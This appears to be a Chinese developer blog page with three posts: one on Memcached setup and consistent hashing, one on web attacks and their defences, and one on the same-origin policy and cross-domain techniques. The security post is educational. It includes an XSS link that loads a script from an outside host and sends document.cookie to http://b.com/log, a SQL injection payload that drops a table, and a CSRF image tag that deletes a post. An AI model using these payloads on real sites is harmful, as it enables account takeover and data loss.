不急不徐,持之以恒。

http://blog.gopersist.com/

  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理 ::
  24 随笔 :: 0 文章 :: 52 评论 :: 0 Trackbacks

2015年4月22日 #

互联网上的应用、网站,随着用户的增长,功能的增强,会导致服务器超载,响应变慢等问题。缓存技术是减轻服务器压力、加快服务响应时间、提升用户体验的有效途径。Memcached是非常流行的缓存系统,这里介绍对Memcached的安装、设定,以及在集群环境下的使用。

Memcached简介

Memcached是一个开源、高性能、分布式的内存缓存系统,用于加速动态网站的访问,减轻数据库负载。

Memcached使用了Slab Allocator的机制分配、管理内存,解决了内存碎片的问题。

Memcached虽然可以在多线程模式下运行,但线程数通常只需设定为与CPU数量相同,这一点与Nginx的设定类似。

Memcached使用

安装:

在CentOS下使用下面的命令安装:

sudo yum install memcached 

启动:

memcached -m 100 -p 11211 -d -t 2 -c 1024 -P /tmp/memcached.pid 

-m 指定使用的内存容量,单位MB,默认64MB。

-p 指定监听的TCP端口,默认11211。

-d 以守护进程模式启动。

-t 指定线程数,默认为4。

-c 最大客户端连接数,默认为1024。

-P 保存PID文件。

关闭:

kill `cat /tmp/memcached.pid` 

测试:

使用telnet连接memcached服务。

telnet localhost 11211 

存储命令格式:

set foo 0 0 4 abcd STORED  <command name> <key> <flags> <exptime> <bytes> <data block>  <command name> set, add, replace等 <key> 关键字 <flags> 整形参数,存储客户端对键值的额外信息,如值是压缩的,是字符串,或JSON等 <exptime> 数据的存活时间,单位为秒,0表示永远 <bytes> 存储值的字节数 <data block> 存储的数据内容 

读取命令格式:

get foo VALUE foo 0 4 abcd END  <command name> <key>  <command name> get, gets。gets比get多返回一个数字,这个数字检查数据有没有发生变化,当key对应的数据改变时,gets多返回的数字也会改变。 <key> 关键字  返回的数据格式:  VALUE <key> <flags> <bytes> 

CAS(checked and set):

cas foo 0 0 4 1 cdef STORED  cas <key> <flags> <exptime> <bytes> <version>  除最后的<version>外,其他参数与set, add等命令相同,<version>的值需要与gets获取的值相同,否则无法更新。 incr, decr可对数字型数据进行原子增减操作。 

全局统计信息

stats STAT pid 10218 STAT time 1432611519 STAT curr_connections 6 STAT total_connections 9 STAT connection_structures 7 STAT reserved_fds 10 STAT cmd_get 5 STAT cmd_set 1 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 3 STAT get_misses 2 STAT delete_misses 0 STAT delete_hits 0 ... END 

Memcached集群

Memcached本身不做任何容错处理,对故障节点的处理方式完全取决于客户端。对Memcached的客户端来说,不能使用普通的哈希算法(哈希取模)来寻找目标Server,因为这样在有缓存节点失效时,会导致大面积缓存数据不可用。如下图:

当Server3失效后,客户端需要根据可用Server数量重新计算缓存的目标Server,这时,Key的哈希值为10的数据被指定为由Server1维护,这时原本Server2上可用的缓存也无效了。

一致性哈希算法

一致性哈希算法解决了在动态变化的缓存环境中,定位目标Server的问题,通常的实现可将它想像成一个闭合的环形。如下图:

当有节点失效时,不会影响到正常工作的缓存服务器,只有原本分配到失效节点的缓存会被重新分配到下一个节点。如下图:

微信订阅号:
原文地址:http://blog.gopersist.com/2015/05/28/memcached/

posted @ 2015-05-31 17:18 老林 阅读(1556) | 评论 (2)编辑 收藏

对于一个Web应用来说,可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法,以及面对这些攻击的防御手段。

一、跨站脚本攻击(XSS)

跨站脚本攻击的英文全称是Cross Site Script,为了和样式表区分,缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上,在这个过程中可能有恶意代码被浏览器执行。

跨站脚本攻击可以分为两种:

1). 反射型XSS

它是通过诱使用户打开一个恶意链接,服务端将链接中参数的恶意代码渲染到页面中,再传递给用户由浏览器执行,从而达到攻击的目的。如下面的链接:

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp将页面渲染成下面的html:

Hello xss<script>alert(1)</script> 

这时浏览器将会弹出提示框。

2). 持久型XSS

持久型XSS将恶意代码提交给服务器,并且存储在服务器端,当用户访问相关内容时再渲染到页面中,以达到攻击的目的,它的危害更大。

比如,攻击者写了一篇带恶意JS代码的博客,文章发表后,所有访问该博客文章的用户都会执行这段恶意JS。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证,如果可以得到,往往意味着可直接进入用户帐户,而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说,可以像下面这样操作:

首先诱使用户打开下面的链接:

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后,会加载b.js,并执行b.js中的代码。b.js中存储了以下JS代码:

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.com请求一张图片,但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识,浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

1). 输入检查

对输入数据做检查,比如用户名只允许是字母和数字,邮箱必须是指定格式。一定要在后台做检查,否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查,这样前端可以挡掉大部分无效数据。

对特殊字符做编码或过滤,但因为不知道输出时的语境,所以可能会做不适当的过滤,最好是在输出时具体情况具体处理。

2). 输出检查

对渲染到HTML中内容执行HtmlEncode,对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

二、SQL注入

SQL注入常常会听到,它与XSS类似,是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子:

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句,如果用户提交的username参数是leo,则数据库执行的SQL为:

select * from user where username = 'leo' 

但如果用户提交的username参数是leo’; drop table user–,那执行的SQL为:

select * from user where username = 'leo'; drop table user--' 

在查询数据后,又执行了一个删除表的操作,这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句,如下面所示:

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预编译方法不同,但基本都可以处理。

如果遇到无法使用预编译方法时,只能像防止XSS那样对参数进行检查和编码。

三、跨站请求伪造(CSRF)

跨站请求伪造的英文全称是Cross Site Request Forgery,是由于操作所需的所有参数都能被攻击者得到,进而构造出一个伪造的请求,在用户不知情的情况下被执行。看下面一个例子:

如果a.com网站需要用户登录后可以删除博客,删除博客的请求地址如下:

GET http://a.com/blog/delete?id=1 

当用户登录a.com后,又打开了http://b.com/b.html,其中有下面的内容:

<img src="http://a.com/blog/delete?id=1"/> 

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1,删除那篇博客。

CSRF的防御

  1. 验证码

CSRF是在用户不知情的情况下构造的网络情况,验证码则强制用户与应用交互,所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

  1. referer检查

检查请求header中的referer也能帮助防止CSRF攻击,但服务器不是总能拿到referer,浏览器可能出于安全或隐私而不发送referer,所以也不常用。倒是图片防盗链中用得很多。

  1. Anti CSRF Token

更多的是生成一个随机的token,在用户提交数据的同时提交这个token,服务器端比对后如果不正确,则拒绝执行操作。

四、点击劫持(ClickJacking)

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上,诱使用户在该网页上操作,而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式,有图片覆盖攻击、拖拽劫持等。

点击劫持的防御

针对iframe的攻击,可使用一个HTTP头:X-Frame-Options,它有三种可选值:

  • DENY: 禁止任何页面的frame加载;
  • SAMEORIGIN:只有同源页面的frame可加载;
  • ALLOW-FROM:可定义允许frame加载的页面地址。

针对图片覆盖攻击,则注意使用预防XSS的方法,防止HTML和JS注入。

微信订阅号:
原文地址:http://blog.gopersist.com/2015/04/25/web-security-4/

posted @ 2015-04-25 15:40 老林 阅读(6273) | 评论 (2)编辑 收藏

一、浏览器介绍

对于Web应用来说,浏览器是最重要的客户端。

目前浏览器五花八门多得不得了,除了Chrome、IE、Firefox、Safari、Opera这些国外的浏览器外,百度、腾讯、360、淘宝、搜狗、傲游之类的,反正能做的都做了。

浏览器虽然这么多,但浏览器内核主要就以下4种:

  1. Trident:IE使用的内核。
  2. Gecko:Firefox使用的内核。
  3. WebKit:Safair和Chrome使用的内核。WebKit由苹果发明,Chrome也用了,但是Google又开发了V8引擎替换掉了WebKit中的Javascript引擎。
  4. Presto:Opera使用的内核。

国内的浏览器基本都是双核浏览器,使用基于WebKit的内核高速浏览常用网站,使用Trident内核兼容网银等网站。

二、同源策略

同源策略是浏览器最基本的安全策略,它认为任何站点的内容都是不安全的,所以当脚本运行时,只被允许访问来自同一站点的资源。

同源是指域名、协议、端口都相同。

如果没有同源策略,就会发生下面这样的问题:

恶意网站用一个iframe把真实的银行登录页放到他的页面上,当用户使用用户名密码登录时,父页面的javascript就可以读取到银行登录页表单中的内容。

甚至浏览器的1个Tab页打开了恶意网站,另一个Tab页打开了银行网站,恶意网站中的javascript可以读取到银行网站的内容。这样银行卡和密码就能被轻易拿走。

三、跨域访问

由于同源策略的原因,浏览器对跨域访问做了很多限制,但有时我们的确需要做跨域访问,那要怎么办?主要有以下几种情况:

1. iframe的跨域访问

同域名下,父页面可以通过document.getElementById(‘_iframe’).contentWindow.document访问子页面的内容,但不同域名下会出现类似下面的错误:

Uncaught SecurityError: Blocked a frame with origin “http://a.com” from accessing a frame with origin “http://b.com”. Protocols, domains, and ports must match.

有两种解决方法:

1). 当主域名相同,子域名不同时,比较容易解决,只需设置相同的document.domain即可。

如http://a.a.com/a.html使用iframe载入http://b.a.com/b.html,且在a.html中有Javascript要修改b.html中元素的内容时,可以像下面的代码那样操作。

a.html

<html>
<head>
<script>
document.domain = 'a.com';
function changeIframeContent() {
var _iframe = document.getElementById('_iframe');
var _p = _iframe.contentWindow.document.getElementById('_p');
_p.innerHTML = 'Content from a.html';
}
</script>
</head>
<body>
<iframe id="_iframe" src="http://b.a.com/demo/iframe/subdomain/b.html"></iframe>
<br>
<input type="button" value="Change iframe content" onclick="changeIframeContent();"/>
</body>
</html>

b.html

<html>
<head>
<script>
document.domain = 'a.com';
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

2). 当主域名不同时,就非常麻烦了。大致的方法像下面描述的那样:

  • a.com下有a.html;
  • a.html创建iframe加载b.com下的b.html,可在加载b.html时通过?或#将参数传递到b.html中;
  • b.html加载后,可以通过提取location.search或location.hash中的内容获取a.html传过来的参数;
  • b.html创建一个iframe,加载a.com下的c.html,并且参数也通过?或#传给c.html;
  • 因为c.html和a.html是相同域名,所以c.html可以使用parent.parent访问到a.html的对象,这样也就可以将b.html需要传递的参数传回到a.html中。

2. Ajax的跨域访问

Ajax主要通过XMLHttpRequest对象实现,但是如果通过XMLHttpRequest访问不同域名下的数据,浏览器会出现类似下面的错误:

XMLHttpRequest cannot load http://b.com/demo/iframe/ajax/b.html. No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘http://a.com’ is therefore not allowed access.

这时可由以下两种方法解决:

1). 使用<script>代替XMLHttpRequest,也就是JSONP的方法。利用<script>标签的src下加载的js不受同源策略限制,并且加载后的js运行在当前页面的域下,所以可自由操作当前页面的内容。

下面的代码演示了在a.com下的a.html通过b.com下的b.js中的内容来更新自身的p标签。

a.html

<html>
<head>
<script>
function update_p (content) {
document.getElementById("_p").innerHTML = content;
}
function getFromB() {
var _script = document.createElement("script");
_script.type = "text/javascript";
_script.src = "http://b.com/demo/ajax/b.js";
document.getElementsByTagName("head")[0].appendChild(_script);
}
</script>
</head>
<body>
<p id="_p">a.html</p>
<input type="button" value="Get from b.com" onclick="getFromB()"/>
</body>
</html>

b.js

update_p("content from b.js"); 

在实际使用中,通常a.html会将update_p以callback参数名传递给b.com的服务器,服务器动态生成数据后,再用callback参数值包起来作为响应回传给a.html。

2). 在b.com的服务器返回信息中增加以下头信息:

  • Access-Control-Allow-Origin: http://a.com
  • Access-Control-Allow-Methods: GET

此时浏览器便允许a.com读取使用GET请求b.com的内容。

对于flash来说,会要求在网站根目录下放一个名为crossdomain.xml的文件,以指明允许访问的域名来源。文件中的内容类似下面的样子:

<cross-domain-policy>
<allow-access-from domain="*.a.com" />
</cross-domain-policy>

3. 使用HTML5的postMessage方法实现跨域访问

HTML5增加了跨文档消息传输,下面的例子实现了使用postMessage在不同域间传递消息:

a.html

<html>
<head>
<script>
function update_b () {
var _iframe = document.getElementById("_iframe");
_iframe.contentWindow.postMessage("content from a.html", "http://b.com");
}
</script>
<head>
<body>
<iframe id="_iframe" src="http://b.com/demo/html5/b.html"></iframe>
<br>
<input type="button" value="Update b.html" onclick="update_b()"></input>
</body>
</html>

b.html

<html>
<head>
<script>
window.addEventListener("message", function (event) {
document.getElementById("_p").innerHTML = event.data;
}, false);
</script>
</head>
<body>
<p id="_p">b.html</p>
</body>
</html>

在postMessage中要指定接收方的域名,如果发现目标页面的域名不正确,将抛出类似下面这样的错误:

Failed to execute ‘postMessage’ on ‘DOMWindow’: The target origin provided (‘http://c.com’) does not match the recipient window’s origin (‘http://b.com’).

浏览器对跨域访问的限制是出于安全考虑的,所以在使用一些方法实现跨域访问时要特别小心。

微信订阅号:
源文地址:http://blog.gopersist.com/2015/04/22/web-security-3/

posted @ 2015-04-22 00:15 老林 阅读(32109) | 评论 (6)编辑 收藏